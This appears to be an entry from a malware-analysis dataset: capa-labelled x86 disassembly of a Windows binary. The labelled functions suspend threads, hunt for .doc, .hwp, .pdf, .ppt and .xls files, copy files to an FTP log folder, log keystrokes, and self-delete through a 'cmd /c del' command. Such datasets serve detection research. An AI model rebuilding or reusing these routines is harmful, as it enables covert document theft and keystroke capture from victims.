joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002953f
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push 0x800
push 0x10140f90
call fcn.100074a5
pop ecx
pop ecx
push 6
pop ecx
xor ebx, ebx
push ebx
xor eax, eax
mov dword [ebp - 0x2c], ebx
lea edi, [ebp - 0x28]
push 4
rep stosd dword es:[edi], eax
call dword [0x10072d28]
lea ecx, [ebp - 0x2c]
push ecx
push eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x2c], 0x1c
call sub.KERNEL32.dll_Thread32First
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edi, edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
cmp esi, ebx
je 0x100295f3
cmp dword [ebp - 4], 0x2710
jg 0x100295f3
mov eax, dword [ebp - 0xc]
inc dword [ebp - 4]
cmp dword [ebp - 0x20], eax
jne 0x100295e3
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x10]
je 0x100295e3
push eax
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_OpenThread]
cmp eax, ebx
je 0x100295e3
mov dword [edi*4 + 0x10140f90], eax
inc edi
cmp edi, 0xc8
jge 0x100295f3
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 8]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x100295a2
cmp dword [0x101434ac], 8
jne 0x1002960e
push edi
push dword [ebp - 4]
push str.FreezeTh_tot:_d__d
push ebx
call fcn.1003dfed
add esp, 0x10
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10029e2b
Capabilities:
Get storage device properties

Disassembly:
push ebp
lea ebp, [esp - 0x394]
sub esp, 0x414
mov eax, dword [0x10074bac]
xor eax, ebp
mov dword [ebp + 0x390], eax
push ebx
push esi
push edi
mov esi, str..X:
lea edi, [ebp - 0x70]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x1f9
xor ebx, ebx
lea eax, [ebp - 0x69]
push ebx
push eax
movsb byte es:[edi], byte [esi]
call fcn.10040850
mov al, byte [ebp + 0x39c]
push 0x1ff
mov byte [ebp - 0x6c], al
lea eax, [ebp + 0x191]
push ebx
push eax
mov byte [ebp + 0x190], bl
call fcn.10040850
add esp, 0x18
push ebx
push ebx
push 3
push ebx
push 3
push ebx
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10029eef
push ebx
lea eax, [ebp - 0x80]
push eax
push 0x200
lea eax, [ebp + 0x190]
push eax
push 0xc
lea eax, [ebp - 0x7c]
push eax
push 0x2d1400
push esi
mov dword [ebp - 0x7c], 1
mov dword [ebp - 0x78], ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, ebx
je 0x10029eef
cmp dword [ebp - 0x80], ebx
jle 0x10029eef
cmp byte [ebp + 0x1a8], 7
jne 0x10029eef
mov al, 1
jmp 0x10029ef1
xor al, al
mov ecx, dword [ebp + 0x390]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004083f
add ebp, 0x394
leave
ret

Function at 0x10029f09
Capabilities:
Get storage device properties

Disassembly:
push ebp
lea ebp, [esp - 0x394]
sub esp, 0x414
mov eax, dword [0x10074bac]
xor eax, ebp
mov dword [ebp + 0x390], eax
push ebx
push esi
push edi
mov esi, str..X:
lea edi, [ebp + 0x190]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x1f9
xor ebx, ebx
lea eax, [ebp + 0x197]
push ebx
push eax
movsb byte es:[edi], byte [esi]
call fcn.10040850
push 0x1ff
lea eax, [ebp - 0x6f]
push ebx
push eax
mov byte [ebp - 0x70], bl
call fcn.10040850
mov eax, dword [ebp + 0x39c]
lea edx, [ebp + 0x190]
add esp, 0x18
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x10029f6d
lea eax, [ebp + 0x190]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10029f80
push ebx
push ebx
push 3
push ebx
sub eax, edx
push 3
mov byte [ebp + eax + 0x18f], bl
push closesocket
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10029ff6
push ebx
lea eax, [ebp - 0x80]
push eax
push 0x200
lea eax, [ebp - 0x70]
push eax
push 0xc
lea eax, [ebp - 0x7c]
push eax
push 0x2d1400
push esi
mov dword [ebp - 0x7c], 1
mov dword [ebp - 0x78], ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, ebx
je 0x10029ff6
cmp dword [ebp - 0x80], ebx
jle 0x10029ff6
cmp byte [ebp - 0x58], 7
jne 0x10029ff6
mov al, 1
jmp 0x10029ff8
xor al, al
mov ecx, dword [ebp + 0x390]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004083f
add ebp, 0x394
leave
ret
Function at 0x1002a010
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
lea ebp, [esp - 0x8c8]
sub esp, 0x948
mov eax, dword [0x10074bac]
xor eax, ebp
mov dword [ebp + 0x8c4], eax
mov eax, dword [ebp + 0x8d4]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x8d8]
mov esi, 0x1ff
xor ebx, ebx
push esi
mov dword [ebp - 0x80], eax
lea eax, [ebp + 0x4c5]
push ebx
push eax
mov byte [ebp + 0x4c4], bl
call fcn.10040850
lea eax, [ebp + 0x4c4]
push edi
push eax
call fcn.100074d8
push esi
lea eax, [ebp + 0x2c5]
push ebx
push eax
mov byte [ebp + 0x2c4], bl
call fcn.10040850
push esi
lea eax, [ebp + 0x6c5]
push ebx
push eax
mov byte [ebp + 0x6c4], bl
call fcn.10040850
push esi
lea eax, [ebp + 0xc5]
push ebx
push eax
mov byte [ebp + 0xc4], bl
call fcn.10040850
lea eax, [ebp + 0x4c4]
push eax
lea eax, [ebp + 0x6c4]
push eax
call fcn.100074d8
lea edi, [ebp + 0x6c4]
add esp, 0x40
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1002a0be
mov esi, str..
lea eax, [ebp - 0x7c]
movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp + 0x6c4]
push eax
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1002a0ec
xor eax, eax
jmp 0x1002a194
mov esi, str._s_s
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp + 0x4c4]
push eax
lea eax, [ebp + 0x2c4]
push esi
push eax
call fcn.10040b98
add esp, 0x10
test byte [ebp - 0x7c], 0x10
je 0x1002a147
cmp byte [ebp - 0x50], 0x2e
je 0x1002a177
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp + 0x4c4]
push eax
lea eax, [ebp + 0xc4]
push esi
push eax
call fcn.10040b98
lea eax, [ebp + 0xc4]
push eax
push dword [ebp - 0x80]
push dword [ebp + 0x8d0]
call fcn.1002a010
jmp 0x1002a174
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x80]
lea eax, [ebp + 0x6c4]
push esi
push eax
call fcn.10040b98
lea eax, [ebp + 0x2c4]
push eax
lea eax, [ebp + 0x6c4]
push eax
push dword [ebp + 0x8d0]
call fcn.10019525
add esp, 0x1c
lea eax, [ebp - 0x7c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1002a0f1
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x8c4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004083f
add ebp, 0x8c8
leave
ret
Function at 0x1002a471
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
mov eax, dword [0x10074bac]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x63
lea eax, [ebp - 0x6f]
push ebx
push eax
mov byte [ebp - 0x70], bl
call fcn.10040850
lea eax, [ebp - 0x70]
push 0x10065828
push eax
call fcn.100074d8
add esp, 0x14
xor esi, esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov byte [esi + 0x102ca000], al
cmp eax, 3
jne 0x1002a4ea
test byte [0x101446a0], 0x10
jne 0x1002a5af
push dword [ebp - 0x70]
call fcn.10029e2b
pop ecx
test al, al
je 0x1002a5af
mov byte [esi + 0x102ca000], 2
jmp 0x1002a5af
mov cl, byte [0x101446a0]
cmp eax, 2
jne 0x1002a4fe
test cl, 0x10
jne 0x1002a5a8
cmp eax, 5
jne 0x1002a50b
test cl, cl
js 0x1002a5a8
cmp eax, 4
jne 0x1002a519
test cl, 0x40
jne 0x1002a5a8
cmp dword [0x10141c2c], ebx
je 0x1002a5af
cmp eax, 1
jne 0x1002a5af
xor eax, eax
lea edi, [ebp - 0xb]
push 0x1ff
mov byte [ebp - 0xc], bl
stosd dword es:[edi], eax
lea eax, [ebp - 0x26f]
push ebx
push eax
mov byte [ebp - 0x270], bl
call fcn.10040850
movsx eax, byte [ebp - 0x70]
push eax
lea eax, [ebp - 0xc]
push 0x1005fc68
push eax
mov dword [ebp - 0x274], 0x200
call fcn.10040b98
add esp, 0x18
lea eax, [ebp - 0x274]
push eax
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0xc]
push eax
call sub.MPR.dll_WNetGetConnectionA
cmp eax, ebx
je 0x1002a598
cmp eax, 0x8ca
je 0x1002a598
cmp eax, 0x4b1
jne 0x1002a5af
test byte [0x101446a0], 0x40
mov byte [esi + 0x102ca000], 4
je 0x1002a5af
mov byte [esi + 0x102ca000], 3
inc byte [ebp - 0x70]
inc esi
cmp esi, 0x1a
jl 0x1002a4ab
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004083f
leave
ret

Function at 0x1002bde9
Capabilities:
Accept command line arguments

Disassembly:
push dword [esp + 4]
call fcn.1003f22b
pop ecx
test al, al
je 0x1002bdfa
mov al, 1
ret
push ebx
push esi
push edi
push 0x100628a8
push 0x10142848
call fcn.1000740e
pop ecx
pop ecx
test eax, eax
jne 0x1002bea7
mov ecx, 0x10143c88
mov eax, ecx
lea esi, [eax + 1]
xor ebx, ebx
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x1002be22
sub eax, esi
push eax
push 0x10142448
push ecx
call fcn.10007447
add esp, 0xc
test eax, eax
jne 0x1002bea7
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
cmp esi, ebx
je 0x1002bea7
cmp byte [esi], bl
je 0x1002bea7
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str._k_NetworkService
push esi
call edi
test eax, eax
je 0x1002be85
push str._k_NetworkServiceNetworkRestricted
push esi
call edi
test eax, eax
jne 0x1002be85
cmp dword [0x101434ac], ebx
je 0x1002be81
push str.InitHook_white_SVCHOST__k_NetworkService
push ebx
call fcn.1003dfed
pop ecx
pop ecx
mov al, 1
jmp 0x1002bea9
cmp byte [esi], bl
je 0x1002bea7
push str._k_netsvcs
push esi
call edi
test eax, eax
je 0x1002bea7
push str._s_profsvc
push esi
call edi
test eax, eax
je 0x1002bea7
mov byte [0x10072497], bl
xor al, al
pop edi
pop esi
pop ebx
ret
Function at 0x1002ce8c
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x394]
sub esp, 0x410
mov eax, dword [0x10074bac]
xor eax, ebp
mov dword [ebp + 0x390], eax
mov eax, dword [ebp + 0x39c]
push ebx
push esi
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 3
push closesocket
push eax
mov byte [ebp - 0x72], bl
mov byte [ebp - 0x71], bl
mov dword [ebp - 0x78], 1
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push eax
mov dword [ebp - 0x7c], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
and esi, 0xff00
shl eax, 0x10
or esi, eax
shl esi, 8
cmp dword [ebp - 0x78], ebx
jbe 0x1002cf48
push edi
mov edi, 0x400
push edi
lea eax, [ebp - 0x70]
push ebx
push eax
mov dword [ebp - 0x78], ebx
call fcn.10040850
add esp, 0xc
push ebx
lea eax, [ebp - 0x78]
push eax
push edi
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1002cf47
xor edi, edi
cmp dword [ebp - 0x78], ebx
jbe 0x1002cf47
cmp edi, 0x400
jge 0x1002cf42
mov al, byte [ebp + edi - 0x70]
add byte [ebp - 0x72], al
sub byte [ebp - 0x71], al
inc edi
cmp edi, dword [ebp - 0x78]
jb 0x1002cf2a
cmp dword [ebp - 0x78], ebx
ja 0x1002cef6
pop edi
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [ebp - 0x72]
movzx ecx, byte [ebp - 0x71]
shl eax, 8
or eax, ecx
mov ecx, dword [ebp + 0x390]
or eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004083f
add ebp, 0x394
leave
ret

Function at 0x1002d239
Capabilities:
Open clipboard

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
call dword [sym.imp.USER32.dll_CloseClipboard]
push 0
push 0
push str._c_echo_off__clip
push 0x10060e08
push str.open
push 0
call fcn.1000cab9
add esp, 0x18
ret
Function at 0x1002d5a9
Capabilities:
Create process on windows
Query environment variable
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x10074bac]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, 0x200
push esi
xor ebx, ebx
lea eax, [ebp - 0x204]
push ebx
push eax
call fcn.10040850
push esi
lea eax, [ebp - 0x404]
push ebx
push eax
call fcn.10040850
add esp, 0x18
push esi
lea eax, [ebp - 0x204]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1002d6b6
push esi
lea eax, [ebp - 0x204]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x1002d6b6
push edi
push str._c_del
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x404]
push eax
call edi
push str.____NUL
lea eax, [ebp - 0x404]
push eax
call edi
lea eax, [ebp - 0x204]
lea edx, [eax + 1]
pop edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1002d653
sub eax, edx
cmp eax, 0xa
jbe 0x1002d6b6
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x204]
push eax
push str.ShellExecute_szFile__s_szCmd__s_
push ebx
call fcn.1003dfed
add esp, 0x10
push esi
lea eax, [ebp - 0x204]
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x1002d6b6
push ebx
push ebx
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x204]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x1002d6b6
xor eax, eax
inc eax
jmp 0x1002d6b8
xor eax, eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.1004083f
leave
ret
Function at 0x10031156
Capabilities:
Create thread

Disassembly:
push ecx
push esi
xor esi, esi
push esi
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
lea ecx, [esp + 4]
push ecx
push esi
push eax
push 0x10031054
push esi
push esi
mov dword [0x1013f2c8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1013f2cc], eax
pop esi
pop ecx
ret

Function at 0x10031371
Capabilities:
Accept command line arguments

Disassembly:
cmp dword [0x10144ed4], 4
push ebx
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push edi
mov edi, dword [esp + 0x10]
mov ebx, str..tmp
jne 0x1003139f
cmp byte [esp + 0x14], 0
je 0x1003139f
push ebx
push edi
call esi
test eax, eax
jne 0x1003153c
test edi, edi
jne 0x100313aa
xor eax, eax
jmp 0x1003153f
mov al, byte [edi]
test al, al
je 0x100313a3
cmp al, 0x7e
je 0x100313a3
push ebx
push edi
call esi
test eax, eax
jne 0x100313a3
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100313c1
sub eax, edx
cmp eax, 4
jbe 0x100313a3
push 0x10065ca4
push edi
call fcn.10040c70
pop ecx
pop ecx
test eax, eax
jne 0x100313a3
push str.RECYCLE
push edi
call esi
test eax, eax
jne 0x100313a3
push str._releasenotes.pdf
push edi
call esi
test eax, eax
jne 0x100313a3
push str._temp
push edi
call esi
test eax, eax
jne 0x100313a3
push str.pagefile.sys
push edi
call esi
test eax, eax
jne 0x100313a3
test dword [0x1013ee8c], 0x4000000
je 0x100314b6
push str.PhysicalDrive
push edi
call esi
test eax, eax
jne 0x10031444
push str.DeviceHarddisk
push edi
call esi
test eax, eax
je 0x100314b6
push str.volumeshadowcopy
push edi
call esi
test eax, eax
jne 0x100314b6
push 0x100628a8
push 0x10142848
call fcn.1000740e
pop ecx
pop ecx
mov edi, 0x10142448
test eax, eax
jne 0x1003149f
mov ecx, 0x10143c88
mov eax, ecx
lea ebx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10031468
sub eax, ebx
push eax
push edi
push ecx
call fcn.10007447
add esp, 0xc
test eax, eax
jne 0x1003149f
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
test eax, eax
je 0x1003149f
cmp byte [eax], 0
je 0x1003149f
push str._k_localsystemnetworkrestricted
push eax
call esi
test eax, eax
jne 0x100313a3
push str.Samsung
push edi
call esi
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
jmp 0x1003153f
mov eax, dword [0x1010daa0]
test eax, eax
je 0x100314d4
cmp eax, 0xffffffff
je 0x100314d4
push edi
call fcn.10010ab1
pop ecx
test al, al
je 0x100314d4
push 2
pop eax
jmp 0x1003153f
push str..doc
push edi
call esi
test eax, eax
jne 0x1003153c
push str..hwp
push edi
call esi
test eax, eax
jne 0x1003153c
push str..pdf
push edi
call esi
test eax, eax
jne 0x1003153c
push str..ppt
push edi
call esi
test eax, eax
jne 0x1003153c
push str..xls
push edi
call esi
test eax, eax
jne 0x1003153c
test dword [0x1013ee8c], 0x4000
je 0x100313a3
cmp byte [0x10143580], al
je 0x100313a3
push 0x10143580
push edi
call esi
test eax, eax
je 0x100313a3
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
ret
Function at 0x10032a43
Capabilities:
Find taskbar

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
xor ebp, ebp
push ebp
push str.Shell_TrayWnd
call edi
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
cmp eax, ebp
je 0x10032af7
push ebp
push str.TrayNotifyWnd
push ebp
push eax
call esi
mov dword [esp + 0x14], eax
cmp eax, ebp
je 0x10032af7
xor ebx, ebx
mov dword [esp + 0x10], ebp
push ebp
push str.SysPager
push ebx
push dword [esp + 0x20]
call esi
mov ebx, eax
cmp ebx, ebp
je 0x10032aef
push ebx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x10032ae4
push ebp
push str.ToolbarWindow32
push ebp
push ebx
call esi
mov edi, eax
cmp edi, ebp
je 0x10032ae4
push edi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x10032ae4
cmp dword [0x101434ac], 4
jne 0x10032ad4
push dword [esp + 0x10]
push edi
push str.hToolbar:_08x__d_
push ebp
call fcn.1003dfed
add esp, 0x10
push edi
push dword [esp + 0x20]
call fcn.10034947
pop ecx
pop ecx
test al, al
jne 0x10032af3
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 5
jl 0x10032a7f
xor al, al
jmp 0x10032b42
mov al, 1
jmp 0x10032b42
push ebp
push str.NotifyIconOverflowWindow
call edi
cmp eax, ebp
je 0x10032aef
push ebp
push str.ToolbarWindow32
push ebp
push eax
call esi
mov esi, eax
cmp esi, ebp
je 0x10032aef
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x10032aef
cmp dword [0x101434ac], 4
jne 0x10032b36
push esi
push str.hToolbar2:_08x
push ebp
call fcn.1003dfed
add esp, 0xc
push esi
push dword [esp + 0x20]
call fcn.10034947
pop ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
Function at 0x10035acc
Capabilities:
Create directory

Disassembly:
push ebp
lea ebp, [esp - 0xb98]
sub esp, 0xc18
mov eax, dword [0x10074bac]
xor eax, ebp
mov dword [ebp + 0xb94], eax
mov eax, dword [ebp + 0xba4]
push ebx
push edi
mov edi, dword [ebp + 0xba0]
xor ebx, ebx
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x80], eax
cmp edi, ebx
je 0x10035ceb
cmp eax, ebx
je 0x10035ceb
mov ecx, dword [0x10072cc0]
mov eax, 0x5000
mov edx, ecx
and edx, eax
cmp edx, eax
jne 0x10035ceb
test ecx, 0x10000
jne 0x10035ceb
push esi
mov esi, 0x3ff
push esi
lea eax, [ebp + 0x595]
push ebx
push eax
mov byte [ebp + 0x594], bl
call fcn.10040850
push esi
lea eax, [ebp - 0x6b]
push ebx
push eax
mov byte [ebp - 0x6c], bl
call fcn.10040850
lea eax, [ebp - 0x6c]
push eax
push edi
call fcn.1003d08f
add esp, 0x20
cmp eax, 0xffffffff
je 0x10035cea
mov edi, 0x10142048
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x74], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.100291b0
pop ecx
mov dword [ebp - 0x7c], eax
cmp eax, ebx
je 0x10035c18
mov esi, 0x1ff
push esi
lea eax, [ebp + 0x995]
push ebx
push eax
mov byte [ebp + 0x994], bl
call fcn.10040850
push esi
lea eax, [ebp + 0x395]
push ebx
push eax
mov byte [ebp + 0x394], bl
call fcn.10040850
lea eax, [ebp + 0x994]
push edi
push eax
call fcn.100074d8
lea eax, [ebp + 0x994]
push eax
lea eax, [ebp + 0x394]
push eax
call fcn.100074d8
add esp, 0x28
mov esi, 0x1005f470
push esi
lea eax, [ebp + 0x994]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x74], eax
cmp eax, ebx
je 0x10035c18
call fcn.10035a85
mov eax, dword [ebp - 0x74]
add eax, 0xfffffffa
push esi
push eax
call fcn.100074d8
pop ecx
lea eax, [ebp + 0x994]
pop ecx
mov dword [ebp - 0x70], eax
push dword [ebp - 0x70]
lea eax, [ebp + 0x594]
push str._sLogFTPD
push eax
call fcn.10040b98
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
add esp, 0xc
push ebx
lea eax, [ebp + 0x594]
push eax
call esi
mov edi, dword [ebp - 0x80]
push edi
push dword [ebp - 0x70]
lea eax, [ebp + 0x594]
push str._sLogFTPD_s
push eax
mov byte [edi + 0xa], bl
call fcn.10040b98
add esp, 0x10
push ebx
lea eax, [ebp + 0x594]
push eax
call esi
lea eax, [ebp - 0x6c]
push eax
push edi
push dword [ebp - 0x70]
lea eax, [ebp + 0x594]
push str._sLogFTPD_s_s
push eax
call fcn.10040b98
add esp, 0x14
push ebx
lea eax, [ebp + 0x594]
push eax
push dword [ebp - 0x78]
call dword [0x101a7f08]
test eax, eax
jne 0x10035cdb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
push ebx
lea ecx, [ebp - 0x70]
push ecx
push 0x400
push eax
push ebx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push dword [ebp - 0x70]
lea eax, [ebp + 0x594]
push eax
push dword [ebp - 0x78]
push str.FTP_CopyFile__s_____s__ErrMsg__s_
push 1
call fcn.1003dfed
add esp, 0x14
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x7c], ebx
je 0x10035cea
cmp dword [ebp - 0x74], ebx
je 0x10035cea
call fcn.10035aa8
pop esi
mov ecx, dword [ebp + 0xb94]
pop edi
xor ecx, ebp
pop ebx
call fcn.1004083f
add ebp, 0xb98
leave
ret
Function at 0x100377b6
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ecx
movzx eax, byte [ebp + 8]
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push dword [ebp + 8]
mov byte [ebp - 4], al
call fcn.10037787
xor ecx, ecx
test al, al
setne cl
or ecx, 2
push ecx
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.100377a1
add esp, 0x10
leave
ret

Function at 0x100377ed
Capabilities:
Check os version
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
mov ebx, 0x90
cmp byte [ebp + 8], bl
jne 0x10037869
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x1003782a
push esi
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 1
push 0x45
push ebx
call esi
push 0
push 3
push 0x45
push ebx
call esi
pop esi
jmp 0x100378ad
shr eax, 8
cmp al, 0xa
jb 0x100378ad
push 0x34
lea eax, [ebp - 0x38]
push 0
push eax
call fcn.10040850
xor eax, eax
inc eax
add esp, 0xc
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x3c], eax
push 2
mov eax, ebx
mov word [ebp - 0x1c], ax
pop eax
push 0x1c
lea ecx, [ebp - 0x3c]
push ecx
push eax
mov word [ebp - 0x38], bx
mov dword [ebp - 0x18], eax
call dword [sym.imp.USER32.dll_SendInput]
jmp 0x100378ad
movzx eax, byte [ebp + 8]
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push dword [ebp + 8]
mov byte [ebp - 4], al
call fcn.10037787
xor ecx, ecx
test al, al
setne cl
push ecx
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.100377a1
add esp, 0x10
cmp byte [ebp + 0xc], 0
je 0x100378ad
push 3
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.100377a1
add esp, 0xc
pop ebx
leave
ret